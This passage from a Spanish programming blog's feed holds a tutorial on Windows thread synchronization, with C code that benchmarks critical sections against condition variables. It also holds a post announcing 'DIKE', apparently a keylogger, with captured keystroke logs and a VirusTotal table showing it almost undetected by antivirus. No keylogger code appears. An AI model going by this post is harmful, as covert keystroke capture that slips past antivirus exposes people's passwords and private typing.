/&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Diferencias entre sistemas Multi núcleo y mono núcleo&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;En los sistemas mono núcleo ( P4, AMD K6/7, etc.. ) estábamos acostumbrados a manejar un programa secuencial y aunque la sensación de multitarea todo desarrollador que se precie de serlo sabía que no era así, que en realidad los programas seguían siendo secuenciales y por ende la sincronización entre diversos hilos y su acceso a memoria compartida no representaba mayor problema; ya que el acceso a la misma se realizaba también de forma secuencial.&lt;br /&gt;&lt;br /&gt;Con la llegada de los procesadores multi núcleo la historia cambio, mejoro el performance de las aplicaciones y los sistemas operativos pero.... los programas también comenzaron a fallar. La razón es muy simple, su diseño no estaba preparado para la verdadera multitarea, la inclusión de caches de segundo nivel en los procesadores cambio el método en que se accede a la memoria y las operaciones que antes creíamos atómicas dejaron de serlo.&lt;br /&gt;Para más información sobre los diferentes modelos de memoria y como son manejados por los procesadores:&lt;br /&gt;http://www.intel.com/products/processor/manuals/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Sistemas de sincronización entre hilos sobre Windows&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;En windows podemos encontrar diferentes métodos para sincronizar hilos como lo pueden ser: &lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Mutex&lt;br /&gt;Semáforos&lt;br /&gt;Secciones Críticas&lt;br /&gt;Eventos&lt;br /&gt;SpinLocks( En Drivers )&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;La pregunta que sale de estos diversos métodos es cual nos ofrece una implementación sencilla, redituable en performance y totalmente efectiva en cuanto a exclusión mutua se refiere.&lt;br /&gt;En este artículo analizaremos una de las más extendidas y redituables en cuanto a performance como lo son las Secciones Criticas y una nueva API introducida con windows vista llamada variables condicionales.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Secciones Críticas&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Las secciones criticas son ampliamente conocidas por los desarrolladores de windows en lenguajes como C y C++, estas proveen el acceso exclusivo a una porción de código ubicada entre "EnterCriticalSection" y "LeaveCriticalSection", aunque también a menudo causan dolores de cabeza con los deadlocks producto tanto de olvidos en el código como de posibles fallos del mismo.&lt;br /&gt;El problema que atañe a todo desarrollador es que el uso de secciones críticas puede representarle un golpe fuerte en uso del procesador si no son usadas adecuadamente; el siguiente ejemplo es un código simple de uso de secciones críticas que demuestra lo anterior:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Generador:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;DWORD WINAPI Generator( LPVOID lpvParam )&lt;br /&gt;{&lt;br /&gt; timeval tvInit, tvEnd;&lt;br /&gt; int iAt = 0;&lt;br /&gt;&lt;br /&gt; gettimeofday( &amp;tvInit, NULL);&lt;br /&gt;&lt;br /&gt; for ( ; iAt &lt; 512; ++iAt) {&lt;br /&gt;  EnterCriticalSection( &amp;g_csVar );&lt;br /&gt;&lt;br /&gt;  g_iVar  = rand()%1024;&lt;br /&gt;  g_bReady = true;&lt;br /&gt;&lt;br /&gt;  LeaveCriticalSection( &amp;g_csVar );&lt;br /&gt;&lt;br /&gt;  // Do Stuff&lt;br /&gt;  Sleep( 50 );&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; gettimeofday( &amp;tvEnd, NULL);&lt;br /&gt;&lt;br /&gt; g_bIsStarted = false;&lt;br /&gt;&lt;br /&gt; printf("Generator time %d\r\n", DiffTime( &amp;tvInit, &amp;tvEnd));&lt;br /&gt;&lt;br /&gt; return 0;&lt;br /&gt;}&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Trabajador:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;DWORD WINAPI Worker( LPVOID lpvParam )&lt;br /&gt;{&lt;br /&gt; int lMyVal = 0, iReads = 0;&lt;br /&gt; timeval tvInit, tvEnd;&lt;br /&gt;&lt;br /&gt; gettimeofday( &amp;tvInit, NULL);&lt;br /&gt;&lt;br /&gt; while (g_bIsStarted == true) {&lt;br /&gt;  EnterCriticalSection( &amp;g_csVar );&lt;br /&gt;&lt;br /&gt;  if (g_bReady == false) {&lt;br /&gt;   LeaveCriticalSection( &amp;g_csVar );&lt;br /&gt;   continue;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  lMyVal  = g_iVar;&lt;br /&gt;  g_bReady = false;&lt;br /&gt;&lt;br /&gt;  ++iReads;&lt;br /&gt;&lt;br /&gt;  LeaveCriticalSection( &amp;g_csVar );&lt;br /&gt;&lt;br /&gt;  // do stuff&lt;br /&gt;  Sleep( 5 );&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; gettimeofday( &amp;tvEnd, NULL);&lt;br /&gt;&lt;br /&gt; printf("Reads %d - Time Elapsed: %d\r\n", iReads, DiffTime( &amp;tvInit, &amp;tvEnd));&lt;br /&gt;&lt;br /&gt; return 0;&lt;br /&gt;}&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Aclarar que las funciones gettimeofday y DiffTime son de implementación propia y no hacen parte del API de windows.&lt;br /&gt;En el anterior caso el número de workers es 2; ahora si lo ejecutamos podremos ver que el consumo de CPU por parte del programa es sumamente alto ( 100% ). El tiempo "perfecto" de ejecución del proceso debería estar por el orden de los 25.6 Segundos((50 * 512)/1000), si examinamos el resultado arrojado por el programa es:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Reads 293 - Time Elapsed: 29969&lt;br /&gt;Reads 219 - Time Elapsed: 29969&lt;br /&gt;Generator time 29970&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Por qué sucede esto?, el bloqueo que generan los Workers sobre el generador hace que este no pueda acceder a la variable para setear su valor, retrasando el proceso de escritura y por ende el que los workers dispongan de información; para validar esto vamos a añadir una variable en el worker que contabilice los fallos registrados al intentar realizar una lectura:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;  if (g_bReady == false) {&lt;br /&gt;   LeaveCriticalSection( &amp;g_csVar );&lt;br /&gt;   ++iFails;&lt;br /&gt;   continue;&lt;br /&gt;  }&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;El resultado ahora es:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Generator time 29785&lt;br /&gt;Reads 187 Fails 176088581 - Time Elapsed: 29785&lt;br /&gt;Reads 325 Fails 166428580 - Time Elapsed: 29785&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;La cantidad de ciclos desperdiciados es increíblemente alta, para abolir el consumo de CPU excesivo y el desperdiciar ciclos podemos implementar un Sleep sobre nuestros workers:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;  if (g_bReady == false) {&lt;br /&gt;   LeaveCriticalSection( &amp;g_csVar );&lt;br /&gt;   ++iFails;&lt;br /&gt;   Sleep( 10 );&lt;br /&gt;   continue;&lt;br /&gt;  }&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;El resultado es:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Generator time 25691&lt;br /&gt;Reads 135 Fails 2488 - Time Elapsed: 25692&lt;br /&gt;Reads 377 Fails 2351 - Time Elapsed: 25699&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Mucho mejor, inclusive se acerca bastante al tiempo "perfecto", pero aun así no es recomendable el desperdiciar ciclos cuando podemos señalar los eventos, así que mezclaremos secciones criticas, en este caso "TryEnterCriticalSection" y eventos. Un error muy común al usar secciones criticas y eventos recae en el implementar bien sea eventos Automáticos ( No son apropiados para sincronizar más de 2 hilos ) o el usar eventos manuales pero los cuales el procedimiento de Reset se encuentra por fuera de la sección critica; la razón es muy simple ya que en realidad si se implementan el reseteo del evento fuera de la sección critica se está consiguiendo una condición de carrera al estar el evento señalado y la sección critica libre; dando así paso para que los otros hilos accedan a información que posiblemente ya fue procesada o simplemente que no halla información. El ejemplo usado en nuestro caso será una pequeña modificación del anterior:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Generador:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt; for ( ; iAt &lt; 10; ++iAt) {&lt;br /&gt;  EnterCriticalSection( &amp;g_csVar );&lt;br /&gt;&lt;br /&gt;  g_iVar  = rand()%1024;&lt;br /&gt;&lt;br /&gt;  SetEvent( g_hEvent );&lt;br /&gt;&lt;br /&gt;  LeaveCriticalSection( &amp;g_csVar );&lt;br /&gt;&lt;br /&gt;  // Do Stuff&lt;br /&gt;  Sleep( 50 );&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; gettimeofday( &amp;tvEnd, NULL);&lt;br /&gt;&lt;br /&gt; g_bIsStarted = false;&lt;br /&gt;&lt;br /&gt; SetEvent( g_hEvent );&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Trabajador:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt; while (g_bIsStarted == true) {&lt;br /&gt;  WaitForSingleObject( g_hEvent, INFINITE);&lt;br /&gt;&lt;br /&gt;  if (g_bIsStarted == false)&lt;br /&gt;   break;&lt;br /&gt;&lt;br /&gt;  if (TryEnterCriticalSection( &amp;g_csVar ) == FALSE) {&lt;br /&gt;   ++iFails;&lt;br /&gt;   continue;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  lMyVal  = g_iVar;&lt;br /&gt;&lt;br /&gt;  ++iReads;&lt;br /&gt;&lt;br /&gt;  ResetEvent( g_hEvent );&lt;br /&gt;&lt;br /&gt;  LeaveCriticalSection( &amp;g_csVar );&lt;br /&gt;&lt;br /&gt;  // do stuff&lt;br /&gt;  Sleep( 5 );&lt;br /&gt; }&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;El resultado arrojado es:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Reads 218 Fails 11131317 - Time Elapsed: 34848&lt;br /&gt;Generator time 34848&lt;br /&gt;Reads 370 Fails 10569731 - Time Elapsed: 34848&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Podemos observar que realmente los tiempos no son los mejores, los fallos al intentar entrar a la sección critica son bastante altos, el consumo de CPU es del 25% y aparte de ello se ha cometido un error que es bastante común en este tipo de implementaciones por lo que se ha dejado abierta la posibilidad de una condición de carrera(a ver si lo descubren). &lt;br /&gt;&lt;br /&gt;Viendo todo lo anterior nos hemos podido dar cuenta que algunos de los métodos que utilizan secciones criticas no son una muy buena idea y suelen estar sujetos a fallos muy comunes que bien pueden afectar tanto el performance como el acceso exclusivo a la información.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Variables Condicionales&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Con la llegada de windows vista se introdujo una nueva API de sincronización con el fin de evitar los problemas que hemos visto anteriormente, que de por si son sumamente comunes.  Esta API tiene como objetivo el facilitar la implementación de métodos que aseguren el acceso exclusivo a porciones de código.&lt;br /&gt;La forma de trabajar con las variables condiciones es muy parecida a los eventos, primeramente necesitamos una sección critica y una CONDITION_VARIABLE, una vez que entramos en la sección critica usamos "SleepConditionVariableCS", esta toma como parámetros la variable de variable de condición, la sección critica y el tiempo a esperar, el tomar la sección critica es debido a que primero debemos entrar en la sección critica, cuando llamemos a SleepConditioVariableCS este saldrá de la sección critica y esperara por el evento, cuando el evento sea señalado retomara la sección critica.&lt;br /&gt;En cuanto al generador este debe utilizar la función WakeConditionVariable para señalar la condición, esta se limita a dejar pasar un solo hilo que se encuentre en espera, si queremos despertar todos los hilos en espera deberemos usar WakeAllConditionVariable.&lt;br /&gt;&lt;br /&gt;En el siguiente ejemplo vamos a evaluar el rendimiento de los siguientes métodos de exclusión:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Secciones Críticas&lt;br /&gt;Secciones Críticas con Sleep&lt;br /&gt;Secciones criticas mediante TryEnterCriticalSection&lt;br /&gt;Secciones criticas mediante TryEnterCriticalSection con Sleep&lt;br /&gt;Variables condicionales&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;El código usado será el siguiente:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Generador:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;bool WriteJob( long lJob )&lt;br /&gt;{&lt;br /&gt; DWORD dwWrite = 0;&lt;br /&gt;&lt;br /&gt; EnterCriticalSection( &amp;g_csPipe );&lt;br /&gt;&lt;br /&gt; WriteFile( g_hPipeWrite, &amp;lJob, sizeof( long ), &amp;dwWrite, NULL);&lt;br /&gt;&lt;br /&gt; LeaveCriticalSection( &amp;g_csPipe );&lt;br /&gt;&lt;br /&gt; return true;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;DWORD WINAPI Generator( LPVOID lpvParam )&lt;br /&gt;{&lt;br /&gt; timeval tvInit, tvEnd;&lt;br /&gt; long lIn = 0;&lt;br /&gt; int iAt = 0;&lt;br /&gt;&lt;br /&gt; srand( 0x0ABCDL );&lt;br /&gt;&lt;br /&gt; gettimeofday( &amp;tvInit, NULL);&lt;br /&gt;&lt;br /&gt; while (g_bStarted == true &amp;&amp; iAt &lt; 512) {&lt;br /&gt;&lt;br /&gt;  while ((lIn = rand()) &lt;= -1);&lt;br /&gt;   &lt;br /&gt;  if (WriteJob( lIn ) == false)&lt;br /&gt;   continue;&lt;br /&gt;&lt;br /&gt;  Sleep( 150 );&lt;br /&gt;&lt;br /&gt;  ++iAt;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; g_bStarted = false;&lt;br /&gt;&lt;br /&gt; gettimeofday( &amp;tvEnd, NULL);&lt;br /&gt;&lt;br /&gt; printf("Generators ends at %d\r\n", DiffTime( &amp;tvInit, &amp;tvEnd));&lt;br /&gt;&lt;br /&gt; return 0;&lt;br /&gt;}&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Trabajador:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;long ReadJob( void )&lt;br /&gt;{&lt;br /&gt; BOOL bOper = FALSE;&lt;br /&gt; DWORD dwRead = 0;&lt;br /&gt; long lRet = -1;&lt;br /&gt; &lt;br /&gt; EnterCriticalSection( &amp;g_csPipe );&lt;br /&gt; &lt;br /&gt; if (g_bStarted == false) {&lt;br /&gt;  LeaveCriticalSection( &amp;g_csPipe );&lt;br /&gt;  return -1;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; bOper = PeekNamedPipe( g_hPipeRead, &amp;lRet, sizeof( long ), &amp;dwRead, NULL, NULL);&lt;br /&gt;&lt;br /&gt; if (bOper == TRUE &amp;&amp; dwRead == sizeof( long ))&lt;br /&gt;  ReadFile( g_hPipeRead, &amp;lRet, sizeof( long ), &amp;dwRead, NULL);&lt;br /&gt;&lt;br /&gt; LeaveCriticalSection( &amp;g_csPipe );&lt;br /&gt;&lt;br /&gt; return lRet;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;DWORD WINAPI Worker( LPVOID lpvParam )&lt;br /&gt;{&lt;br /&gt; timeval tvInit, tvEnd;&lt;br /&gt; long lRes = 0;&lt;br /&gt; int iReads = 0;&lt;br /&gt;&lt;br /&gt; gettimeofday( &amp;tvInit, NULL);&lt;br /&gt;&lt;br /&gt; while (g_bStarted == true) {&lt;br /&gt;  if ((lRes = ReadJob()) &lt;=  -1) {&lt;br /&gt;   Sleep( 10 );&lt;br /&gt;   continue;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  ++iReads;&lt;br /&gt;&lt;br /&gt;  // Do something xD&lt;br /&gt;  Sleep( 5 ); &lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; gettimeofday( &amp;tvEnd, NULL);&lt;br /&gt;&lt;br /&gt; printf("Worker ends at %d reads:%d\r\n", DiffTime( &amp;tvInit, &amp;tvEnd), iReads);&lt;br /&gt;&lt;br /&gt; return 0;&lt;br /&gt;}&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Con las modificaciones propias para usar los diferentes métodos como es el caso de TryEnterCriticalSection:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Trabajador ( Lector ):&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;long ReadJob( void )&lt;br /&gt;{&lt;br /&gt; BOOL bOper = FALSE;&lt;br /&gt; DWORD dwRead = 0;&lt;br /&gt; long lRet = -1;&lt;br /&gt;&lt;br /&gt; &lt;br /&gt; if (TryEnterCriticalSection( &amp;g_csPipe ) == FALSE)&lt;br /&gt;  return -1;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Generador ( Escritor ):&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;bool WriteJob( long lJob )&lt;br /&gt;{&lt;br /&gt; DWORD dwWrite = 0;&lt;br /&gt;&lt;br /&gt; if (TryEnterCriticalSection( &amp;g_csPipe ) == FALSE)&lt;br /&gt;  return false;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;En el caso de las variables condicionales anularemos los sleeps y modificaremos el código de la siguiente forma:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Trabajador ( Lector ):&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;long ReadJob( void )&lt;br /&gt;{&lt;br /&gt; BOOL bOper = FALSE;&lt;br /&gt; DWORD dwRead = 0;&lt;br /&gt; long lRet = -1;&lt;br /&gt;&lt;br /&gt; &lt;br /&gt; EnterCriticalSection( &amp;g_csPipe );&lt;br /&gt;&lt;br /&gt; SleepConditionVariableCS( &amp;g_cvVar, &amp;g_csPipe,INFINITE);&lt;br /&gt; &lt;br /&gt; if (g_bStarted == false) {&lt;br /&gt;  LeaveCriticalSection( &amp;g_csPipe );&lt;br /&gt;  return -1;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; // Anulamos el peek a la pipe ya que el evento señala la&lt;br /&gt; // disponibilidad de informacion.&lt;br /&gt;&lt;br /&gt; ReadFile( g_hPipeRead, &amp;lRet, sizeof( long ), &amp;dwRead, NULL);&lt;br /&gt;&lt;br /&gt; LeaveCriticalSection( &amp;g_csPipe );&lt;br /&gt;&lt;br /&gt; return lRet;&lt;br /&gt;}&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Generador ( Escritor ):&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;bool WriteJob( long lJob )&lt;br /&gt;{&lt;br /&gt; DWORD dwWrite = 0;&lt;br /&gt;&lt;br /&gt; EnterCriticalSection( &amp;g_csPipe );&lt;br /&gt;&lt;br /&gt; WriteFile( g_hPipeWrite, &amp;lJob, sizeof( long ), &amp;dwWrite, NULL);&lt;br /&gt;&lt;br /&gt; LeaveCriticalSection( &amp;g_csPipe );&lt;br /&gt;&lt;br /&gt; WakeConditionVariable( &amp;g_cvVar );&lt;br /&gt;&lt;br /&gt; return true;&lt;br /&gt;}&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Generador:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt; g_bStarted = false;&lt;br /&gt;&lt;br /&gt; WakeAllConditionVariable( &amp;g_cvVar );&lt;br /&gt;&lt;br /&gt; gettimeofday( &amp;tvEnd, NULL);&lt;br /&gt;&lt;br /&gt; printf("Generators ends at %d\r\n", DiffTime( &amp;tvInit, &amp;tvEnd));&lt;br /&gt;&lt;br /&gt; return 0;&lt;br /&gt;}&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Como podemos ver en el caso de las variables condicionales el código llega a simplificarse debido a que sabemos que nos está señalando bien o el estado de disponibilidad de información "WakeConditionVariable" para un solo hilo o el de salida "WakeAllConditionVariable" para todos los hilos.&lt;br /&gt;&lt;br /&gt;Teniendo en cuenta que el resultado "optimo" es de 76.800 Segundos; los resultados de los procedimientos son los siguientes:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_zWBNoSB1aQA/S24cLMLaGgI/AAAAAAAAAFc/f2e2cXFUdzQ/s1600-h/Untitled2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 110px;" src="http://3.bp.blogspot.com/_zWBNoSB1aQA/S24cLMLaGgI/AAAAAAAAAFc/f2e2cXFUdzQ/s400/Untitled2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5435312778855979522" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;La información relativa a los workers denota "tiempo/lecturas", es interesante el que en las Variables Condicionales se presenta un balance de carga para el acceso a la información, de igual manera parece ser el método mas efectivo, simple y optimizado en cuanto a operaciones de exclusión mutua se refiere.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Conclusión&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Con la llegada de esta nueva API de exclusión en windows vista podemos ahorrarnos múltiples dolores de cabeza además de mejorar el desempeño de nuestro programa, aun así en el llegado caso de que no podamos utilizarla debido a problemas de compatibilidad o soporte de otras plataformas deberíamos tener en cuenta las opciones que se nos presentan en estas pruebas como candidatas a desarrollar este trabajo de una buena forma.&lt;br /&gt;&lt;br /&gt;Salu2.&lt;br /&gt;&lt;br /&gt;Att: &lt;span style="font-weight:bold;"&gt;Iker&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8248563728475996452-4177056453287284285?l=codeinthehell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/4177056453287284285/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://codeinthehell.blogspot.com/2010/02/manejo-de-concurrencia-en-windows.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/4177056453287284285'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/4177056453287284285'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/2010/02/manejo-de-concurrencia-en-windows.html' title='Manejo de Concurrencia en Windows'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_zWBNoSB1aQA/S24cLMLaGgI/AAAAAAAAAFc/f2e2cXFUdzQ/s72-c/Untitled2.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8248563728475996452.post-8203932056296234169</id><published>2010-01-03T18:08:00.003-05:00</published><updated>2010-01-03T18:16:56.262-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programación'/><title type='text'>DIKE 0.8 Pre-Alpha fuckers and suckers edition</title><content type='html'>Ya esta una versión alpha con todas las teclas siendo logueadas así que explico y luego todos los que no entiendan se andan a la damier.&lt;br /&gt;&lt;br /&gt;Consumo de CPU: 0%&lt;br /&gt;Consumo de Memoria: 620 K&lt;br /&gt;Peso del ejecutable: 33.5Kb ( en Debug ).&lt;br /&gt;Problemas con otros programas detectados: Ninguno.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Log vs Realidad:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Equipo: Laptop Asus&lt;br /&gt;Configuración del teclado: "es;Spanish (Traditional Sort)"&lt;br /&gt;Modo de prueba: Presionar secuencialmente las teclas.&lt;br /&gt;Teclado correcto:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;[Esc][F1][F2][F3][F4][F5][F6][F7][F8][F9][F10][F11][F12][Pausa][Imp Pant][Ins][Supr] &lt;br /&gt;º1234567890'¡[Retroceso][Inicio]&lt;br /&gt;[Tab]qwertyuiop`+[Enter][Re Pag]&lt;br /&gt;[Bloq MAyus]asdfghjklñ´ç[Enter][Av Pag]&lt;br /&gt;[Shift Izq]&amp;gt;&amp;lt;zxcvbnm,.- [Shift Der][Fin]&lt;br /&gt;[Fn][Ctrl][Windows][Alt][Propiedades][Espacio][Alt Gr][Windows][Ctrl][Flechas]&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Teclado logueado:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;[ESC][F1][F2][F3][F4][F5][F6][F7][F8][F9][F10][F11][F12][PAUSA][TECLA DE MULTIPLICACION][NUMERO 0][TECLA DECIMAL]&lt;br /&gt;º1234567890'¡[RETROCESO][NUMERO 7]&lt;br /&gt;[TABULACION]qwertyuiop[GRAVE]`+[ENTRAR][NUMERO 9]&lt;br /&gt;[BLOQ MAYUS]ASDFGHJKLÑ[AGUDO]´Ç[ENTRAR][NUMERO 3]&lt;br /&gt;[MAYUSCULAS]&gt;ZXCVBNM,.-[MAYUSCULAS DERECHA][NUMERO 1]&lt;br /&gt;[CTRL][CTRL][ALT] [CTRL][NUMERO 8][NUMERO 4][NUMERO 2][NUMERO 6]&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Problemas detectados ( Características sorpresa que les llamo yo ):&lt;br /&gt;* Las tildes no funcan ( igual a mi me corrige la horrografia Opera ).&lt;br /&gt;&lt;br /&gt;Resultado de Virus Total:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Antivirus Version Last Update Result&lt;br /&gt;a-squared 4.5.0.46 2010.01.03 -&lt;br /&gt;AhnLab-V3 5.0.0.2 2010.01.02 -&lt;br /&gt;AntiVir 7.9.1.122 2009.12.31 -&lt;br /&gt;Antiy-AVL 2.0.3.7 2009.12.31 -&lt;br /&gt;Authentium 5.2.0.5 2010.01.03 -&lt;br /&gt;Avast 4.8.1351.0 2010.01.03 -&lt;br /&gt;AVG 8.5.0.430 2010.01.03 -&lt;br /&gt;BitDefender 7.2 2010.01.03 -&lt;br /&gt;CAT-QuickHeal 10.00 2010.01.02 -&lt;br /&gt;ClamAV 0.94.1 2010.01.03 -&lt;br /&gt;Comodo 3457 2010.01.03 -&lt;br /&gt;DrWeb 5.0.1.12222 2010.01.03 -&lt;br /&gt;eSafe 7.0.17.0 2010.01.03 -&lt;br /&gt;eTrust-Vet 35.1.7210 2010.01.01 -&lt;br /&gt;F-Prot 4.5.1.85 2010.01.03 -&lt;br /&gt;F-Secure 9.0.15370.0 2010.01.03 -&lt;br /&gt;Fortinet 4.0.14.0 2010.01.02 -&lt;br /&gt;GData 19 2010.01.03 -&lt;br /&gt;Ikarus T3.1.1.79.0 2009.12.31 -&lt;br /&gt;Jiangmin 13.0.900 2010.01.03 -&lt;br /&gt;K7AntiVirus 7.10.936 2010.01.02 -&lt;br /&gt;Kaspersky 7.0.0.125 2010.01.03 -&lt;br /&gt;McAfee 5850 2010.01.03 -&lt;br /&gt;McAfee+Artemis 5850 2010.01.03 -&lt;br /&gt;McAfee-GW-Edition 6.8.5 2010.01.03 Heuristic.BehavesLike.Win32.Backdoor.L&lt;br /&gt;Microsoft 1.5302 2010.01.03 -&lt;br /&gt;NOD32 4740 2010.01.03 -&lt;br /&gt;Norman 6.04.03 2009.12.31 -&lt;br /&gt;nProtect 2009.1.8.0 2010.01.03 -&lt;br /&gt;Panda 10.0.2.2 2010.01.03 -&lt;br /&gt;PCTools 7.0.3.5 2010.01.03 -&lt;br /&gt;Prevx 3.0 2010.01.03 -&lt;br /&gt;Rising 22.28.03.04 2009.12.31 -&lt;br /&gt;Sophos 4.49.0 2010.01.03 -&lt;br /&gt;Sunbelt 3.2.1858.2 2010.01.03 -&lt;br /&gt;TheHacker 6.5.0.3.130 2010.01.03 -&lt;br /&gt;TrendMicro 9.120.0.1004 2010.01.03 -&lt;br /&gt;VBA32 3.12.12.1 2010.01.01 -&lt;br /&gt;ViRobot 2009.12.31.2118 2009.12.31 -&lt;br /&gt;VirusBuster 5.0.21.0 2010.01.03 -&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Jodeputa McAfee-GW-Edition.&lt;br /&gt;&lt;br /&gt;Att: &lt;span style="font-weight:bold;"&gt;Iker&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8248563728475996452-8203932056296234169?l=codeinthehell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/8203932056296234169/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://codeinthehell.blogspot.com/2010/01/dike-08-pre-alpha-fuckers-and-suckers.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/8203932056296234169'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/8203932056296234169'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/2010/01/dike-08-pre-alpha-fuckers-and-suckers.html' title='DIKE 0.8 